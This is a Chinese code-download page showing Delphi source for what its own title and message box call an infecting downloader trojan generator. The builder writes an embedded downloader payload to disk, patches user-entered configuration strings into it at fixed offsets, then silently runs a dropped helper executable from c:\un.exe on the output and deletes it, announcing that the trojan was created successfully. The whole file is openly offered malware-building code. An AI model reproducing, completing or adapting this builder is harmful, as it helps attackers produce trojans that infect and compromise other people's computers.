⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.pas

📁 感染下载者源码 感染下载者源码 感染下载者源码
💻 PAS
字号:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,shellapi,ExtCtrls;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Edit2: TEdit;
    Button1: TButton;
    Label2: TLabel;
    Label3: TLabel;
    Save1: TSaveDialog;
    Label4: TLabel;
    Edit3: TEdit;
    Label7: TLabel;
    Edit6: TEdit;
    Label8: TLabel;
    Edit7: TEdit;
    Label1: TLabel;
    procedure FormCanResize(Sender: TObject; var NewWidth,
      NewHeight: Integer; var Resize: Boolean);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;

implementation

{$R *.dfm}
{$R q3.res}

procedure TForm1.FormCanResize(Sender: TObject; var NewWidth,
  NewHeight: Integer; var Resize: Boolean);
begin
Resize:=false;
end;

function GetShortName(sLongName: string): string;
var
  sShortName: string;
  nShortNameLen: integer;
begin
  SetLength(sShortName, MAX_PATH);
  nShortNameLen := GetShortPathName(PChar(sLongName),
  PChar(sShortName), MAX_PATH - 1);
  if (0 = nShortNameLen) then
  begin
    // handle errors... 
  end;
  SetLength(sShortName, nShortNameLen); 
  Result := sShortName;
end;
procedure wine(filename:string);
var
  WorkDir:String;
  StartupInfo:TStartupInfo;
  ProcessInfo:TProcessInformation;
  y:Cardinal;
begin
  WorkDir:=ExtractFileDir(Application.ExeName);
  FillChar(StartupInfo,Sizeof(StartupInfo),#0);
  StartupInfo.cb:=Sizeof(StartupInfo);
  StartupInfo.dwFlags:=STARTF_USESHOWWINDOW;
  StartupInfo.wShowWindow:=SW_hide;
  CreateProcess(nil,
    PChar(FileName),               { pointer to command line string }
    nil,                           { pointer to process security attributes }
    nil,                           { pointer to thread security attributes }
    True,                          { handle inheritance flag }
    CREATE_NEW_CONSOLE or          { creation flags }
    NORMAL_PRIORITY_CLASS,
    nil,                           { pointer to new environment block }
    PChar(WorkDir),                { pointer to current directory name, PChar}
    StartupInfo,                   { pointer to STARTUPINFO }
    ProcessInfo);
    WaitforSingleObject(ProcessInfo.hProcess, INFINITE);
    GetExitCodeProcess(ProcessInfo.hProcess,y);
    CloseHandle(ProcessInfo.hProcess);  { to prevent memory leaks }
    CloseHandle(ProcessInfo.hThread);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  WriteBuff, ResultFilePath, ResourcePointer: PChar;
  ResourceLocation: HRSRC;
  ResourceSize, BytesWritten: Longword;
  ResDataHandle: THandle;
  FileHandle: THandle;
  res:tresourcestream;
  ssq:string;
begin

  if save1.Execute then
  ResultFilePath :=pchar(save1.FileName);
  if save1.FileName='' then
  exit;
  edit6.text:=lowercase(edit6.text);
  edit7.text:=lowercase(edit7.text);
  ResourceLocation := FindResource(HInstance, 'q6_down', RT_RCDATA);
  if ResourceLocation <> 0 then
  begin
    ResourceSize := SizeofResource(HInstance, ResourceLocation);
    if ResourceSize <> 0 then
    begin
      ResDataHandle := LoadResource(HInstance, ResourceLocation);
      if ResDataHandle <> 0 then
      begin
        ResourcePointer := LockResource(ResDataHandle);
        if ResourcePointer <> nil then
        begin
          FileHandle := CreateFile(ResultFilePath, GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
          if FileHandle <> INVALID_HANDLE_VALUE then
          begin
            WriteFile(FileHandle, ResourcePointer^, ResourceSize, BytesWritten, nil);
            Sleep(10);

            SetFilePointer(FileHandle, 53502, nil, FILE_BEGIN);
            WriteBuff := PChar(Edit3.Text + StringOfChar(#0, 150 - Length(Edit3.Text)));
            WriteFile(FileHandle, WriteBuff^, 150, BytesWritten, nil);

            SetFilePointer(FileHandle, 53714, nil, FILE_BEGIN);
            WriteBuff := PChar(Edit2.Text + StringOfChar(#0, 150 - Length(Edit2.Text)));
            WriteFile(FileHandle, WriteBuff^, 150, BytesWritten, nil);

            SetFilePointer(FileHandle, 53816, nil, FILE_BEGIN);
            WriteBuff := PChar(Edit1.Text + StringOfChar(#0, 150 - Length(Edit1.Text)));
            WriteFile(FileHandle, WriteBuff^, 150, BytesWritten, nil);

            SetFilePointer(FileHandle, 54028, nil, FILE_BEGIN);
            WriteBuff := PChar(';'+Edit6.Text + StringOfChar(#0, 300 - Length(Edit6.Text)-1));
            WriteFile(FileHandle, WriteBuff^, 300, BytesWritten, nil);

            SetFilePointer(FileHandle, 54332, nil, FILE_BEGIN);
            WriteBuff := PChar(Edit7.Text + StringOfChar(#0, 300 - Length(Edit7.Text)));
            WriteFile(FileHandle, WriteBuff^, 300, BytesWritten, nil);





            CloseHandle(FileHandle);
            //messagebox(handle,'恭喜您,木马生成成功!'+#13+'请自行加壳压缩!'+#13+'ByQQ'+'7869'+'969 ','提示',mb_ok+mb_iconinformation);
          end;
        end;
      end;
    end;
  end;
 ssq:=GetShortName(ResultFilePath);
 res:=tresourcestream.Create(hinstance,'yyun','exe');
 res.SaveToFile('c:\un.exe');
 res.Free;
 wine('c:\un.exe '+ssq);
 sleep(200);
 deletefile('c:\un.exe');
 messagebox(handle,'恭喜您,木马生成成功!'+#13+''+#13+'ByQQ'+'123966'+'996 ','提示',mb_ok+mb_iconinformation);

end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -